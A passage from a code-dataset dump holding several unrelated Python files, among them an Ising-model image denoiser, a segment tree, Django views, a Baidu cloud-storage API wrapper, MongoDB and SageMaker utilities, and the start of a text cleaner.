beta_num=i, modeling_hours=8784, ll84=True) for i in np.arange(betas.shape[0])]\n plot_all_hourly_loads(all_buildings, start=100, end=100+168)\n\n\n","sub_path":"building_block_plotting.py","file_name":"building_block_plotting.py","file_ext":"py","file_size_in_byte":3784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"539810179","text":"# %matplotlib inline\nimport matplotlib.pyplot as plt\nimport matplotlib.cm as cm\nimport numpy as np\n\nclass IsingGrid:\n\tdef __init__(self, height, width, extfield, invtemp):\n\t\tself.width, self.height, self.extfield, self.invtemp = height, width, extfield, invtemp\n\t\tself.grid = np.zeros([self.width, self.height], dtype=np.int8) + 1\n\t\t\n\tdef plot(self):\n\t\tplt.imshow(self.grid, cmap=cm.gray, aspect=\"equal\", interpolation=\"none\", vmin=-1, vmax=1)\n\t\n\tdef make_random(self):\n\t\tself.grid = (np.random.randint(0, 2, size = self.width * self.height).reshape(self.width, self.height) * 2) - 1\n\t\n\tdef neighbours(self, x, y):\n\t\tn = []\n\t\tif x == 0:\n\t\t\tn.append( (self.width-1, y) )\n\t\telse:\n\t\t\tn.append( (x-1, y) )\n\t\tif x == self.width-1:\n\t\t\tn.append( (0, y) )\n\t\telse:\n\t\t\tn.append( (x+1, y) )\n\t\tif y == 0:\n\t\t\tn.append( (x, self.height-1) )\n\t\telse:\n\t\t\tn.append( (x, y-1) )\n\t\tif y == self.height-1:\n\t\t\tn.append( (x, 0) )\n\t\telse:\n\t\t\tn.append( (x, y+1) )\n\t\treturn n\n\t\n\tdef local_energy(self, x, y):\n\t\treturn self.extfield + sum( self.grid[xx,yy] for (xx, yy) in self.neighbours(x, y) )\n\t\n\tdef total_energy(self):\n\t\t# Could maybe do some numpy games here, but periodic boundary conditions make this tricky.\n\t\t# This function is only ever useful for very small grids anyway.\n\t\tenergy = - self.extfield * np.sum(self.grid)\n\t\tenergy += - sum( self.grid[x, y] * sum( self.grid[xx, yy] for (xx, yy) in self.neighbours(x, y) )\n\t\t\t\t\t\tfor x in range(self.width) for y in range(self.height) ) / 2\n\t\treturn energy\n\t\n\tdef probability(self):\n\t\treturn np.exp( - self.invtemp * self.total_energy() )\n\t\n\tdef gibbs_move(self):\n\t\tn = np.random.randint(0, self.width * self.height)\n\t\ty = n // self.width\n\t\tx = n % self.width\n\t\tp = 1 / (1 + np.exp(-2 * self.invtemp * self.local_energy(x,y)))\n\t\tif np.random.random() <= p:\n\t\t\tself.grid[x,y] = 1\n\t\telse:\n\t\t\tself.grid[x,y] = -1\n\t\t\t\n\tdef from_number(self, n):\n\t\t\"\"\"Convert an integer 0 <= n < 2**(width*height) into a grid.\"\"\"\n\t\tbinstring = bin(n)[2:]\n\t\tbinstring = \"0\" * (N - len(binstring)) + binstring\n\t\tself.grid = np.array([int(x)*2-1 for x in binstring], dtype=np.int8).reshape(self.width, self.height)\n\t\n\tdef to_number(self):\n\t\t\"\"\"Convert grid into an integer.\"\"\"\n\t\tflat = [self.grid[x, y] for x in range(self.width) for y in range(self.height)]\n\t\treturn sum(2**n * (int(x)+1)//2 for n, x in enumerate(reversed(flat)))\n\n\ngg = IsingGrid(30, 50, 0, .3)\ngg.make_random()\ngg.plot()\n\n\nfor _ in range(100000):\n\tgg.gibbs_move()\n\tgg.plot()\n\n\n\nclass IsingGridVaryingField(IsingGrid):\n\tdef __init__(self, height, width, extfield, invtemp):\n\t\tsuper().__init__(height, width, 0, invtemp)\n\t\tself.vextfield = extfield\n\t\t\n\tdef local_energy(self, x, y):\n\t\treturn self.vextfield[x,y] + sum( self.grid[xx,yy] for (xx, yy) in self.neighbours(x, y) )\n\nimport skimage.io\nimage = skimage.io.imread(\"noisy-yingyang.png\")\nimage = (image[:,:,0].astype(np.int) * 2) - 1 # Black and white so just grab one RGB channel\nfig, axes = plt.subplots(figsize=(10,6))\naxes.imshow(image, cmap=cm.gray, aspect=\"equal\", interpolation=\"none\", vmin=-1, vmax=1)\n\nq = 0.9\nnoise = np.random.random(size = image.size).reshape(image.shape) > q\nnoisy = np.array(image)\nnoisy[noise] = -noisy[noise]\nfig, axes = plt.subplots(figsize=(10,6))\naxes.imshow(noisy, cmap=cm.gray, aspect=\"equal\", interpolation=\"none\", vmin=-1, vmax=1)\n\n\ndef IsingDeNoise(noisy, q, burnin = 50000, loops = 500000):\n\th = 0.5 * np.log(q / (1-q))\n\tgg = IsingGridVaryingField(noisy.shape[0], noisy.shape[1], h*noisy, 2)\n\tgg.grid = np.array(noisy)\n\t\n\t# Burn-in\n\tfor _ in range(burnin):\n\t\tgg.gibbs_move()\n\t\n\t# Sample\n\tavg = np.zeros_like(noisy).astype(np.float64)\n\tfor _ in range(loops):\n\t\tgg.gibbs_move()\n\t\tavg += gg.grid\n\treturn avg / loops\n\n\navg = IsingDeNoise(noisy, 0.9)\navg[avg >= 0] = 1\navg[avg < 0] = -1\navg = avg.astype(np.int)\n\nfig, axes = plt.subplots(ncols=2, figsize=(11,6))\naxes[0].imshow(avg, cmap=cm.gray, aspect=\"equal\", interpolation=\"none\", vmin=-1, vmax=1)\naxes[1].imshow(noisy, cmap=cm.gray, aspect=\"equal\", interpolation=\"none\", vmin=-1, vmax=1)\n\n\n\navg = IsingDeNoise(noisy, 0.99)\navg[avg >= 0] = 1\navg[avg < 0] = -1\navg = avg.astype(np.int)\n\nfig, axes = plt.subplots(ncols=2, figsize=(11,6))\naxes[0].imshow(avg, cmap=cm.gray, aspect=\"equal\", interpolation=\"none\", vmin=-1, vmax=1)\naxes[1].imshow(noisy, cmap=cm.gray, aspect=\"equal\", interpolation=\"none\", vmin=-1, vmax=1)\n\navg = IsingDeNoise(noisy, 0.5)\navg[avg >= 0] = 1\navg[avg < 0] = -1\navg = avg.astype(np.int)\n\nfig, axes = plt.subplots(ncols=2, figsize=(11,6))\naxes[0].imshow(avg, cmap=cm.gray, aspect=\"equal\", interpolation=\"none\", vmin=-1, vmax=1)\naxes[1].imshow(noisy, cmap=cm.gray, aspect=\"equal\", interpolation=\"none\", vmin=-1, vmax=1)\n\n","sub_path":"3rd_sem_grad/PROBMOD/Hwk4/Ising.py","file_name":"Ising.py","file_ext":"py","file_size_in_byte":4658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"68073956","text":"from math import ceil, log2\nMAX = 10**9\n\ndef build(arr, segTree, lo, hi, idx):\n if lo == hi:\n segTree[idx] = arr[lo]\n else:\n mid = lo + (hi-lo)//2\n build(arr, segTree, lo, mid, 2*idx+1)\n build(arr, segTree, mid+1, hi, 2*idx+2)\n segTree[idx] = min(segTree[2*idx+1], segTree[2*idx+2])\n\n\ndef query(segTree, lo, hi, l, r, idx):\n if lo > r or hi < l:\n return MAX\n elif l <= lo and hi <= r:\n return segTree[idx]\n else:\n mid = lo + (hi-lo)//2\n left = query(segTree, lo, mid, l, r, 2*idx +1)\n right = query(segTree, mid+1, hi, l, r, 2*idx +2)\n return min(left, right)\n\n\nn, q = map(int, input().split())\narr = list(map(int, input().split()))\npower = ceil(log2(n)) + 1\nlength = 2**power\nsegTree = [None for i in range(length)]\nbuild(arr, segTree, 0, n-1, 0)\n\nfor i in range(q):\n l, r = map(int, input().split())\n l -= 1\n r -= 1\n ans = query(segTree, 0, n-1, l, r, 0)\n print(ans)\n","sub_path":"1647.py","file_name":"1647.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"412300417","text":"'''\nA wrapper for original OASC evaluation\n\n$: python stats.py ../path/to/result.json\n$: python stats.py ../path/to/result.json scenario_name\n\ncomments\n========\nAuthor: HearNest\n\n'''\n\nimport os\nimport csv\nimport sys\nfrom subprocess import Popen\n\n\ndef main(args):\n\n scnearios = [\n 'ASP-POTASSCO'\n ,'BNSL-2016'\n ,'CPMP-2015'\n ,'CSP-Minizinc-Time-2016'\n ,'GLUHACK-2018'\n ,'GRAPHS-2015'\n ,'MAXSAT-PMS-2016'\n ,'MAXSAT-WPMS-2016'\n ,'MAXSAT19-UCMS'\n ,'MIP-2016'\n ,'QBF-2016'\n ,'SAT03-16_INDU'\n ,'SAT12-ALL'\n ,'SAT18-EXP'\n ,'TSP-LION2015']\n\n for scen in scnearios:\n for i in list(range(1,11)):\n a_scn = scen+'_'+str(i)\n\n cmd = 'python3 rf.py --scen ' + a_scn\n print(\"Exe cmd:\",cmd)\n proc = Popen(cmd.split())\n proc.communicate()\n\n\n\nif __name__ == '__main__':\n main(sys.argv[1:])\n ","sub_path":"validation/run_rf.py","file_name":"run_rf.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"301698465","text":"from django.urls import path\nfrom .import views\nfrom django.conf.urls.static import static\nfrom django.conf import settings\napp_name = 'newapp'\nurlpatterns=[\n path('', views.index, name='index'),\n path('blogPage/', views.blogPage, name='blogPage'),\n path('registered/', views.registered, name='registered'),\n path('login/', views.login, name='login'),\n path('registry/', views.registry, name='registry'),\n path('pannelpage/', views.pannelpage, name='pannelpage'),\n path('writepage/', views.writepage, name='writepage'),\n path('savemessage/', views.savemessage, name='savemessage'),\n path('personalpage/', views.personalpage, name='personalpage'),\n # path('purchasing/',views.purchasing,name='purchasing'),\n # path('purchased/',views.purchased,name='purchased'),\n # path('page_list/',views.page_split,name='page_list')\n\n]+static(settings.MEDIA_URL,document_root=settings.MEDIA_ROOT)","sub_path":"newapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"279736573","text":"\"\"\"\nWrapper class for Baidu PCS API\n\"\"\"\n\nimport urllib.request\nimport urllib.parse\nimport urllib.error\nimport ssl\nimport json\nimport http.cookiejar\nimport time\nimport env\nimport mimetypes\nimport os\nimport re\n\nclass BaiduPan:\n access_token = env.access_token\n rooturl = 'https://pcs.baidu.com/rest/2.0/pcs/'\n \n def __init__(self):\n proxies = {'http':r'http://proxy.statestr.com:80', 'https':r'http://proxy.statestr.com:80'}\n proxy_support = urllib.request.ProxyHandler(proxies)\n cookie_support = urllib.request.HTTPCookieProcessor(http.cookiejar.CookieJar())\n ssl_support = urllib.request.HTTPSHandler(context=ssl.SSLContext(ssl.PROTOCOL_TLSv1))\n auth = urllib.request.HTTPBasicAuthHandler()\n opener = urllib.request.build_opener(ssl_support, auth, proxy_support, cookie_support)\n urllib.request.install_opener(opener)\n \n def httpget(self,url):\n res = urllib.request.urlopen(url)\n return res.read().decode('utf-8')\n \n def httppost(self,url,data={}):\n #print(url)\n res = urllib.request.urlopen(url,urllib.parse.urlencode(data).encode('utf-8'))\n return res.read().decode('utf-8')\n \n def geturl(self,apitype,query_str):\n return BaiduPan.rooturl+apitype+'?access_token='+BaiduPan.access_token+'&'+urllib.parse.urlencode(query_str)\n\n def quota(self):\n url = self.geturl('quota',{'method':'info'})\n return self.httpget(url);\n\n def mkdir(self,path):\n url = self.geturl('file', {'method':'mkdir'}) \n return self.httppost(url, {'path':path})\n \n def list(self,path):\n url = self.geturl('file', {'method':'list','path':path})\n res = self.httpget(url)\n pattern = r'\"path\":\"([\\w\\\\\\/.]+)\".+?\"mtime\":(\\d+).+?\"size\":(\\d+)'\n items = re.findall(pattern, res)\n for name, mtime, size in items:\n print ('{0:50} {1:30} {2}'.format(os.path.normpath(name), time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime(int(mtime))), int(size)))\n \n def meta(self,path):\n url = self.geturl('file', {'method':'meta','path':path})\n return self.httpget(url)\n \n def meta_multi(self,paths):\n url = self.geturl('file', {'method':'meta'})\n postdata = {'param':json.dumps({'list':[{'path':x} for x in paths]})}\n return self.httppost(url, postdata)\n\n def move(self,ffrom,fto):\n url = self.geturl('file', {'method':'move'})\n postdata = {'from':ffrom,'to':fto}\n return self.httppost(url, postdata)\n\n def move_multi(self,param):\n url = self.geturl('file', {'method':'move'})\n postdata = {'param':json.dumps({'list':param})}\n return self.httppost(url, postdata)\n\n def copy(self,ffrom,fto):\n url = self.geturl('file', {'method':'copy'})\n postdata = {'from':ffrom,'to':fto}\n return self.httppost(url, postdata)\n\n def copy_multi(self,param):\n url = self.geturl('file', {'method':'copy'})\n postdata = {'param':json.dumps({'list':param})}\n return self.httppost(url, postdata)\n\n def delete(self,path):\n url = self.geturl('file', {'method':'delete'})\n return self.httppost(url, {'path':path})\n\n def delete_multi(self,paths):\n url = self.geturl('file', {'method':'delete'})\n postdata = {'param':json.dumps({'list':[{'path':x} for x in paths]})}\n return self.httppost(url, postdata)\n\n def search(self,path,wd,re=0):\n url = self.geturl('file', {'method':'search','path':path,'wd':wd,'re':re })\n return self.httpget(url)\n\n def upload(self, pathr, pathlocal):\n url=self.geturl('file',{'path':pathr,'method':'upload'})\n files={'file':pathlocal}\n \n body, content_type = self.__encode_multipart({}, files)\n req = urllib.request.Request(url, body.encode('ISO-8859-1'))\n req.add_header('Content-Type', content_type)\n try:\n resp = urllib.request.urlopen(req)\n resp_body = resp.read().decode('UTF-8')\n print(resp_body)\n except urllib.error.HTTPError as e:\n print(e.fp.read())\n\n def download(self,path,local):\n f=open(local,'wb')\n url = self.geturl('file', {'method':'download','path':path})\n f.write(self.httpget(url))\n f.close()\n\n def diff(self,cursor='null'):\n url = self.geturl('file', {'method':'diff','cursor':cursor})\n return self.httpget(url)\n \n def __encode_multipart(self, fields, files={}):\n '''\n Build a multipart/form-data body with generated random boundary.\n '''\n CRLF = '\\r\\n'\n boundary = '----------%s' % hex(int(time.time() * 1000))\n data = []\n for (k, v) in fields.items():\n data.append('--%s' % boundary)\n data.append('Content-Disposition: form-data; name=\"%s\"' % k)\n data.append('')\n data.append(v if isinstance(v, str) else v.decode('ISO-8859-1'))\n for (k, filepath) in files.items():\n data.append('--%s' % boundary)\n data.append('Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"' % (k, os.path.basename(filepath)))\n data.append('Content-Type: %s' % self.__get_content_type(filepath)) \n data.append('') \n data.append(open(filepath, 'rb').read().decode('ISO-8859-1')) \n data.append('--%s--' % boundary)\n data.append('') \n \n content_type = 'multipart/form-data; boundary=%s' % boundary\n return CRLF.join(data), content_type \n\n def __get_content_type(self, filepath): \n return mimetypes.guess_type(filepath)[0] or 'application/octet-stream' ","sub_path":"cloudstore/baidu.py","file_name":"baidu.py","file_ext":"py","file_size_in_byte":5246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"239592615","text":"#encoding=utf-8\nfrom pymongo import MongoClient\nimport time\nimport pandas as pd\nimport email_util\n\nimport sys\nreload(sys)\nsys.setdefaultencoding( \"utf-8\" )\n\n\n# 获取数据库链接\nclient = MongoClient('localhost', 27017)\n\n# 获取数据库\ndb = client.get_database(\"Spark\")\n\n'''\n###################################################################################################\n插入记录\n参数一:记录\n###################################################################################################\n'''\ndef insertRecord(record):\n #获取表\n table = db.get_collection(\"report_\" + time.strftime('%Y-%m-%d', time.localtime(time.time())))\n table.insert(record)\n\n'''\n###################################################################################################\n转化成DataFrame文件\n###################################################################################################\n'''\ndef toDataFrame(query):\n #获取表\n table = db.get_collection(\"report_\" + time.strftime('%Y-%m-%d', time.localtime(time.time())))\n cursor = table.find(query)\n df = pd.DataFrame(list(cursor))\n df.to_csv(\"./report/\" + \"report_\" + time.strftime('%Y-%m-%d', time.localtime(time.time())) + \".csv\")\n email_util.sendMailAttatch(email_util.template2(\"\"),\"./report/\" + \"report_\" + time.strftime('%Y-%m-%d', time.localtime(time.time())) + \".csv\", \"report_\" + time.strftime('%Y-%m-%d', time.localtime(time.time())) + \".csv\")\n #df.to_csv(\"C:\\\\\" + \"report_\" + time.strftime('%Y-%m-%d', time.localtime(time.time())) + \".csv\")\n #email_util.sendMailAttatch(email_util.template2(\"\"),\"C:\\\\\" + \"report_\" + time.strftime('%Y-%m-%d', time.localtime(time.time())) + \".csv\", \"report_\" + time.strftime('%Y-%m-%d', time.localtime(time.time())) + \".csv\")\n return df\n\n\n#df = ts.get_hist_data('600848',ktype='D')\n#insertRecord(json.loads(df.to_json(orient='records')))\n\n#json_str = { \"course\" : \"chinese\", \"score\" : 91, \"name\" : \"wubiao\"}\n#insertRecord(json_str)\n#print 'success'\n\n#print toDataFrame({})\n","sub_path":"com/alex/spark002/mongo_util.py","file_name":"mongo_util.py","file_ext":"py","file_size_in_byte":2019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"370055352","text":"# -*- coding: utf-8 -*-\nfrom five import grok\nfrom zope import schema\nfrom zope.interface import alsoProvides\nfrom plone.autoform.interfaces import IFormFieldProvider\nfrom plone.autoform import directives as form\nfrom plone.supermodel import model\nfrom collective.z3cform.datagridfield import DataGridField, DictRow\nfrom plone.registry.interfaces import IRegistry\nfrom zope.component import getUtility\nfrom z3c.form.browser.radio import RadioFieldWidget\nfrom zope.schema.interfaces import IContextSourceBinder\nfrom zope.schema.vocabulary import SimpleVocabulary\n\nfrom ric.core import RICMessageFactory as _\n\n\nclass MultimailTypes(object):\n grok.implements(IContextSourceBinder)\n\n def __call__(self, context):\n registry = getUtility(IRegistry)\n\n terms = []\n\n if registry is not None:\n types = registry.get('ric.core.multimail', {})\n i = 0\n for type in types:\n terms.append(SimpleVocabulary.createTerm(type, i, types[type]))\n i += 1\n return SimpleVocabulary(terms)\n\n def getTermByToken(self, token):\n registry = getUtility(IRegistry)\n if registry is not None:\n types = registry.get('ric.core.multimail', {})\n return SimpleVocabulary.createTerm(types[token])\n\n\nclass IRICPerson(model.Schema):\n\n invalidmail = schema.Bool(title=_(u\"E-mail invalide\"),\n required=True)\n\n form.read_permission(invalidmail='RIC.ActualPersonOwner')\n form.write_permission(invalidmail='RIC.Administrator')\n form.widget('invalidmail', RadioFieldWidget)\n\n multimail = schema.List(title=_(u\"Envoi mail\"),\n required=False,\n value_type=schema.Choice(source=MultimailTypes()),\n )\n\n userid = schema.TextLine(title=_(u\"Identifiant de l'utilisateur\"),\n required=False)\n\n form.read_permission(userid='RIC.Administrator')\n form.write_permission(userid='RIC.Administrator')\n\n\nalsoProvides(IRICPerson, IFormFieldProvider)\n\n\nclass ICotisationRow(model.Schema):\n\n year = schema.Int(title=_(u\"Année\"),\n required=True)\n\n payment = schema.Bool(title=_(u\"Versement\"),\n required=True)\n\n\nclass IRICOrganization(model.Schema):\n\n citizen = schema.TextLine(\n title=_(u\"Nombre d'habitants\"),\n required=True\n )\n\n servers = schema.TextLine(\n title=_(u\"Serveurs\"),\n required=True\n )\n\n softwares = schema.TextLine(\n title=_(u\"Logiciels\"),\n required=True\n )\n\n subscriptions = schema.List(\n title=_(u\"Cotisations\"),\n value_type=DictRow(title=_(u\"Cotisation\"),\n schema=ICotisationRow),\n required=False,\n )\n form.read_permission(subscriptions='RIC.ActualOrganizationMember')\n form.write_permission(subscriptions='RIC.Administrator')\n form.widget('subscriptions', DataGridField)\n\n\nalsoProvides(IRICOrganization, IFormFieldProvider)\n","sub_path":"ric/core/content/behaviors.py","file_name":"behaviors.py","file_ext":"py","file_size_in_byte":3044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"400134033","text":"# Copyright (c) 2016, 2017, Oracle and/or its affiliates. All rights reserved.\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License, version 2.0, as\n# published by the Free Software Foundation.\n#\n# This program is also distributed with certain software (including\n# but not limited to OpenSSL) that is licensed under separate terms,\n# as designated in a particular file or component or in included license\n# documentation. The authors of MySQL hereby grant you an\n# additional permission to link the program and your derivative works\n# with the separately licensed software that they have included with\n# MySQL.\n#\n# Without limiting anything contained in the foregoing, this file,\n# which is part of MySQL Connector/Python, is also subject to the\n# Universal FOSS Exception, version 1.0, a copy of which can be found at\n# http://oss.oracle.com/licenses/universal-foss-exception.\n#\n# This program is distributed in the hope that it will be useful, but\n# WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n# See the GNU General Public License, version 2.0, for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software Foundation, Inc.,\n# 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\n\"\"\"Translations\"\"\"\n\n__all__ = [\"get_client_error\"]\n\nfrom .. import errorcode\n\n\ndef get_client_error(error, language=\"eng\"):\n \"\"\"Lookup client error\n\n This function will lookup the client error message based on the given\n error and return the error message. If the error was not found,\n None will be returned.\n\n Error can be either an integer or a string. For example:\n error: 2000\n error: CR_UNKNOWN_ERROR\n\n The language attribute can be used to retrieve a localized message, when\n available.\n\n Returns a string or None.\n \"\"\"\n try:\n tmp = __import__(\"mysqlx.locales.{0}\".format(language),\n globals(), locals(), [\"client_error\"])\n except ImportError:\n raise ImportError(\"No localization support for language '{0}'\"\n \"\".format(language))\n client_error = tmp.client_error\n\n if isinstance(error, int):\n errno = error\n for key, value in errorcode.__dict__.items():\n if value == errno:\n error = key\n break\n\n if isinstance(error, (str)):\n try:\n return getattr(client_error, error)\n except AttributeError:\n return None\n\n raise ValueError(\"Error argument needs to be either an integer or string\")\n","sub_path":"venv/lib/python3.6/site-packages/mysqlx/locales/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"402907427","text":"from django.shortcuts import render, redirect, get_list_or_404, get_object_or_404\r\nfrom articles.models import Article\r\nfrom articles.forms import ArticleForm, CommentForm\r\nfrom django.views.decorators.http import require_safe, require_POST, require_http_methods\r\n\r\n# Create your views here.\r\n@require_safe\r\ndef index(request):\r\n articles = get_list_or_404(Article)\r\n context = {\r\n 'articles': articles\r\n }\r\n return render(request, 'articles/index.html', context)\r\n\r\n@require_safe\r\ndef detail(request, pk):\r\n article = get_object_or_404(Article, pk=pk)\r\n context = {\r\n 'article': article\r\n }\r\n return render(request, 'articles/detail.html', context)\r\n\r\n@require_http_methods(['GET','POST'])\r\ndef create(request):\r\n if request.method == 'POST':\r\n form = ArticleForm(request.POST, request.FILES)\r\n if form.is_valid():\r\n article = form.save()\r\n return redirect('articles:detail', article.pk)\r\n else:\r\n form = ArticleForm()\r\n context = {\r\n 'form': form,\r\n }\r\n return render(request, 'articles/form.html', context)\r\n\r\n@require_http_methods(['GET','POST'])\r\ndef update(request, pk):\r\n article = get_object_or_404(Article, pk=pk)\r\n if request.method == 'POST':\r\n form = ArticleForm(request.POST, request.FILES, instance=article)\r\n if form.is_valid():\r\n form.save()\r\n return redirect('articles:detail', article.pk)\r\n else:\r\n form = ArticleForm(instance=article)\r\n context = {\r\n 'form': form,\r\n }\r\n return render(request, 'articles/form.html', context)\r\n\r\n@require_POST\r\ndef delete(request, pk):\r\n article = get_object_or_404(Article, pk=pk)\r\n article.delete()\r\n return redirect('articles:index')\r\n\r\n@require_POST\r\ndef comments_create(request, pk):\r\n article = get_object_or_404(Article, pk=pk)\r\n form = CommentForm(request.POST)\r\n if form.is_valid():\r\n comment = form.save(commit=False)\r\n comment.article = article\r\n comment.save()\r\n return redirect('articles:detail', article.pk)","sub_path":"articles/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"145307388","text":"\n# ----------------------------------------------------------------------- #\n# Functions of genAij routine \n# ----------------------------------------------------------------------- #\n#\n#\t\t:: getElements\n#\t\tGets expectation values from [x] mode output files to populate temp\n# \tB matrix\n#\n# ----------------------------------------------------------------------- #\n\n# Python packages\nimport os \nimport fileinput as fi \nimport linecache as lc \nimport numpy as np\nimport argparse as ap \n\n# ----------------------------------------------------------------------- #\ndef getElements( numParams, numStates, nuclide ):\n# ----------------------------------------------------------------------- #\n\n\tBmatrix = np.zeros(( numParams, numStates ))\n\n\tfor i in range( numParams ):\n\t\tnum = i + 1\n\n\t\t# Open file to read from\n\t\tfileName = \"out_expt\" + str( nuclide ) + \"_\" + str( num ) + \".dat\"\n\t\ttemp = fi.input( fileName )\n\n\t\t# Finds the line before the state and expectation value output\n\t\tfor line in temp:\n\t\t\tif line.find(' STATE') != -1:\n\t\t\t\tstartLine = fi.lineno()\n\t\t\t\tbreak \n\n\t\t# Extract data following ' STATE' line\n\t\tfor j in range( numStates ):\n\t\t\tlineNum = ( startLine + 1 ) + j \n\t\t\telement = ( lc.getline( fileName, lineNum )).split()[3]\n\n\t\t\tBmatrix[i][j] = element \n\n\t\ttemp.close()\n\n\treturn ( Bmatrix )","sub_path":"inputClAr/genAijMods.py","file_name":"genAijMods.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"398312329","text":"import sys\n\nmonkeys = []\nops = []\ndivs = []\nedges = []\nfor info in sys.stdin.read().split(\"\\n\\n\"):\n lines = info.split(\"\\n\")\n items = list(map(int, lines[1][18:].split(\", \")))\n op_str = lines[2][13:]\n if op_str.startswith(\"new = old + \"):\n other = int(op_str[len(\"new = old + \"):])\n ops.append([\"add\", other])\n elif op_str.startswith(\"new = old * \"):\n other = op_str[len(\"new = old * \"):]\n if other == \"old\":\n ops.append([\"square\"])\n else:\n other = int(other)\n ops.append([\"mult\", other])\n div = int(lines[3][len(\" Test: divisible by \"):])\n n1 = int(lines[4][len(\" If true: throw to monkey \"):])\n n2 = int(lines[5][len(\" If false: throw to monkey \"):])\n\n monkeys.append(items)\n divs.append(div)\n edges.append((n1, n2))\n\ndef apply_op(op, num):\n if op[0] == \"square\":\n return num*num\n if op[0] == \"add\":\n return num+op[1]\n return num*op[1]\n\ncnts = [0 for _ in range(len(monkeys))]\nfor _ in range(20):\n for i in range(len(monkeys)):\n for item in monkeys[i]:\n cnts[i] += 1\n new_item = apply_op(ops[i], item)//3\n if new_item % divs[i] == 0:\n monkeys[edges[i][0]].append(new_item)\n else:\n monkeys[edges[i][1]].append(new_item)\n monkeys[i] = []\n\ncnts.sort()\nprint(cnts[-1]*cnts[-2])\n","sub_path":"2022/day11/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"78130225","text":"import boto3\n\nclient = boto3.client('sagemaker-runtime')\n\nendpoint_name = \"mia-mytask-endpoint\" # Your endpoint name.\ncontent_type = \"application/jsonlines\" # The MIME type of the input data in the request body.\naccept = \"text/json\" # The desired MIME type of the inference in the response.\n#payload = '{\"source\":\"帮 我 尽快 发货 , 家里 没有 了\"}' # Payload for inference.\npayload = '{\"source\":\"能不能 快点 发货\"}' # Payload for inference.\n\n \nresponse = client.invoke_endpoint(\n EndpointName=endpoint_name, \n ContentType=content_type,\n Accept=accept,\n Body=payload\n )\n\nprint(response)\nprint(response['Body'].read())\n","sub_path":"test_endpoint.py","file_name":"test_endpoint.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"545749794","text":"#!/usr/bin/env python\n\nimport os\n\nfrom setuptools import setup\n\n\ndef read(fname):\n with open(os.path.join(os.path.dirname(__file__), fname)) as f:\n x = f.read()\n return x\n\nsetup(\n name='dccclient',\n version='0.1.1',\n description='DCC Send for Twisted',\n author='Alexander Walters',\n author_email='tritium@sdamon.com',\n url='http://tritium21.github.io/dccclient/',\n bugtrack_url=\"https://github.com/tritium21/dccclient/issues\",\n license=\"MIT\",\n install_requires=['Twisted>=13.0.0'],\n py_modules=['dccclient'],\n long_description=read('README.rst'),\n classifiers=[\n \"Development Status :: 3 - Alpha\",\n \"Topic :: Communications :: Chat :: Internet Relay Chat\",\n \"Framework :: Twisted\",\n \"License :: OSI Approved :: MIT License\",\n \"Programming Language :: Python :: 2 :: Only\",\n ],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"484850797","text":"import re\nfrom typechecker.typecheck import *\nimport unidecode\n\nclass Cleaner:\n good_chars = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\"\n good_chars += \"ÀÁÂÄÈÉÊËÍÌÎÏÓÒÔÖÚÙÛÜàáâäèéêëìíîïôöòóüùúûÿ\"\n good_chars += \" -,.?!0123456789%&\\\"\\'()/$*+:;<=>[]\\\\^_{}|\\\\~€°²\"\n good_chars = set(good_chars)\n\n html_entities = [\"<\", \">\", \"≤\", \"≥\", \"&\",\n \"<\", \">\", \"&le\", \"&ge\", \"&\"]\n\n smileys = ['-\\\\_(ツ)_/-', '\\\\_(ツ)_/', \"(ツ)\", '\\\\^o^/', '^o^', '^~^', \"^^'\",\n '^^', \"^ ^'\", '^ ^', '*-*', '*^*', '*~*', '*.*', \"-.-'\", '-.-',\n '\\\\m/', '<3', ' XD', '^.^', '\\\\o/', '\\\\(. _. )/', '/o\\\\',\n '\\\\(\\'o\\')/', '\\\\(~_~)/', '\\\\*O*/', '\\\\/', '/\\\\',\n '-\\\\_( •-•)_/-', '-\\\\_( -)_/-', '-\\\\_(-)_/-', '-\\\\_(- )_/-']\n\n punc_set = set(\".,:;!?\")\n punc_set_no_period = set(\",:;!?\")\n\n @staticmethod\n @accepts(str, List[Tuple[str, str]])\n @returns(str)\n def preprocess(sentence, regexs):\n \"\"\"Preprocess a given sentence by replacing specific patterns. This is\n useful e.g. for removing mentions, hashtags, urls, and so 